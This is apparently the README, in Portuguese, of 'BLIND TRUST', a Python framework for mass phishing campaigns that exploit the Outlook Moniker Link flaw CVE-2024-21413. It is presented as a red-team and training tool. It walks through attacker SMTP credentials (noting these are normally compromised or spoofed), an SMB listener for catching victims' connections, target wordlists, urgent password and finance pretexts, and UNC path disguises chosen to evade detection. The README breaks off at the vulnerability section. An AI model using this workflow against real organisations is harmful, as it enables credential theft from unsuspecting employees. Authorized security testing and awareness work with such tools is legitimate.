BLIND TRUST - Framework de Engajamento de Phishing Moniker Link

Uma ferramenta de pesquisa em segurança para simular campanhas de phishing direcionadas usando a vulnerabilidade CVE-2024-21413 Moniker Link. Projetada para operações de red team autorizadas, testes de penetração e treinamento de conscientização em segurança.

Visão Geral

O BLIND TRUST é um framework de engajamento de phishing que ajuda equipes de segurança a entender e testar suas defesas contra ataques sofisticados baseados em e-mail. Ele aproveita a técnica Moniker Link para contornar o Modo de Exibição Protegida do Outlook, proporcionando uma simulação de ataque realista que as organizações podem usar para fortalecer sua postura de segurança.

Esta ferramenta automatiza o fluxo de trabalho de campanha de ponta a ponta — da configuração à entrega de e-mail — mantendo a segurança operacional por meio de caminhos UNC personalizáveis e opções flexíveis de pretexto.

Propósito

As organizações precisam entender técnicas de ataque reais para se defenderem de forma eficaz. O TRUST permite:

• Operações de red team - Conduzir campanhas de phishing autorizadas como parte de avaliações de segurança
• Treinamento de conscientização em segurança - Demonstrar vetores de ataque do mundo real aos funcionários
• Validação de vulnerabilidades - Testar capacidades de detecção contra técnicas conhecidas
• Pesquisa de defesa - Entender o comportamento do Moniker Link em seu ambiente

Recursos

• Campanhas multi-alvo - Enviar e-mails de phishing para vários alvos com uma única configuração
• Carregamento flexível de alvos - Carregar alvos via entrada interativa ou arquivos .txt no estilo wordlist
• Pretexto personalizável - Controlar assunto do e-mail, nome de exibição do remetente e texto do corpo
• Caminhos UNC discretos - Personalizar o caminho Moniker Link para parecer realista (domínio, nome do compartilhamento, nome do exploit)
• Autenticação SMTP - Suporte para vários servidores SMTP com negociação TLS
• Lógica de nova tentativa automática - Backoff exponencial para falhas transitórias de SMTP
• Relatórios de campanha - Status de entrega por alvo com resultados agregados
• Sem assinaturas codificadas - Elimine indicadores óbvios que exponham a técnica

Instalação

Requisitos

• Python 3.7+
• Apenas biblioteca padrão (sem dependências externas)

Configuração

# Clone o repositório
git clone https://github.com/h1ssbl1tz/Blind-Trust.git
cd TRUST

# Execute a ferramenta
python3 TRUST_v7.py

Requisitos

A ferramenta usa apenas módulos da biblioteca padrão do Python:

getpass      - Entrada segura de senha
html         - Escape HTML
ipaddress    - Validação de endereço IP
logging      - Registro estruturado de logs
os           - Operações de arquivo
re           - Expressões regulares
signal       - Tratamento de sinais
smtplib      - Protocolo de e-mail SMTP
sys          - Utilitários do sistema
time         - Operações de tempo
dataclasses  - Modelagem de configuração
email        - Construção de e-mail MIME
typing       - Dicas de tipo

Nenhum pacote externo é necessário — funciona em qualquer lugar com Python 3.7+.

Início Rápido

python3 TRUST_v7.py

Siga o assistente interativo por 5 etapas:

1. Credenciais do Atacante - Conta SMTP para envio de e-mails
2. Configuração do Listener SMB - Endereço IP onde os alvos se conectarão
3. Configuração de Alvos - Carregar vítimas a partir de entrada ou arquivo wordlist
4. Personalização do E-mail - Assunto, nome do remetente e texto do corpo
5. Personalização do Payload - Host do caminho UNC, compartilhamento e nomes do exploit

Exemplos de Uso

Exemplo 1: Entrada Interativa (Pequena Campanha)

Carregar alvos de [f]ile ou [i]nput diretamente?: i
Endereço(s) de e-mail do alvo: [email protected], [email protected]

Assunto do e-mail [Security Update Required]: Urgente: Aviso de Expiração de Senha
Nome de exibição (campo De) [Microsoft Security Center]: Equipe de Segurança de TI
Texto do corpo do e-mail: Sua senha expira em 24 horas. Atualize imediatamente.

Host UNC (IP ou domínio) [192.168.1.100]: it-internal.company.com
Nome do compartilhamento UNC [updates]: patches
Nome do exploit UNC [patch]: kb_security_2024

Exemplo 2: Carregamento por Wordlist (Grande Campanha)

Crie targets.txt:

# Departamento Financeiro
[email protected]
[email protected]
[email protected]

# Contabilidade
[email protected]
[email protected]

Depois execute:

Carregar alvos de [f]ile ou [i]nput diretamente?: f
Caminho para o arquivo de alvos: targets.txt
[+] 5 alvo(s) carregado(s) de targets.txt

Exemplo 3: Pretexto Financeiro Realista

Assunto do e-mail: Revisão Financeira do 3º Trimestre - Ação Necessária
Nome de exibição: Equipe de Operações Financeiras
Corpo do e-mail: Por favor, revise a demonstração financeira do 3º trimestre em anexo e forneça a aprovação.

Host UNC: finance-internal.company.com
Compartilhamento UNC: quarterly
Exploit UNC: q3_financial_report

Caminho UNC gerado: file://finance-internal.company.com/quarterly!q3_financial_report

Configuração Explicada

ETAPA 1: Credenciais do Atacante

• E-mail do atacante: O endereço de e-mail usado para enviar e-mails de phishing (normalmente uma conta comprometida ou falsificada)
• Senha SMTP: Credencial de autenticação para o servidor de e-mail

ETAPA 2: Listener SMB

• IP do listener SMB: O endereço IP onde seu listener SMB (ex.: Responder, impacket-smbserver) está em execução. Os alvos tentarão se conectar aqui quando clicarem no Moniker Link.

ETAPA 3: Configuração de Alvos

Duas opções:

• Entrada interativa: Cole os e-mails diretamente (separados por vírgula ou nova linha)
• Arquivo wordlist: Carregue de um arquivo .txt com um e-mail por linha, comentários começando com #

ETAPA 4: Personalização do E-mail

• Assunto: Linha de assunto do e-mail (evite referências a CVEs; mantenha-o profissional)
• Nome de exibição do remetente: O nome amigável mostrado no cabeçalho do e-mail
• Corpo do e-mail: O texto do pretexto explicando por que os alvos devem clicar no link

ETAPA 5: Personalização do Payload

É aqui que você evita assinaturas óbvias:

• Host UNC: Use um domínio ou subdomínio realista (ex.: finance-internal.company.com) em vez de apenas um IP
• Compartilhamento UNC: Nome de compartilhamento realista como quarterly, updates, documents
• Exploit UNC: Nome de arquivo realista como q3_report, security_patch, training_document

Resultado: Em vez do óbvio \\192.168.1.100\share!exploit, você obtém algo como file://finance-internal.company.com/quarterly!q3_report.

Fluxo de Execução

Início
  ↓
[ETAPA 1] Solicitar e-mail do atacante e senha SMTP
  ↓
[ETAPA 2] Solicitar IP do listener SMB
  ↓
[ETAPA 3] Carregar e-mails dos alvos (arquivo ou entrada)
  ↓
     ↓→ Para cada alvo:
     │  - Validar formato do e-mail
     │  - Verificar duplicatas
     │
[ETAPA 4] Solicitar pretexto do e-mail
     │  - Assunto, nome do remetente, texto do corpo
     │
[ETAPA 5] Solicitar personalização do caminho UNC
     │  - Host, compartilhamento, nome do exploit
     │
  ↓
[CONSTRUIR] Construir objeto de configuração
  ↓
[VALIDAR] Verificar se todos os campos estão presentes e válidos
  ↓
[RESUMO] Exibir resumo pré-envio para revisão
  ↓
[CONFIRMAR] Usuário aprova ou cancela
  ↓
[ENVIAR] Para cada alvo:
     │  - Construir e-mail MIME com Moniker Link personalizado
     │  - Tentar entrega SMTP com lógica de nova tentativa
     │  - Registrar sucesso/falha por alvo
     │
  ↓
[RELATÓRIO] Exibir resultados da campanha (entregues vs. falhas)
  ↓
Sair

Como Funciona

A Vulnerabilidade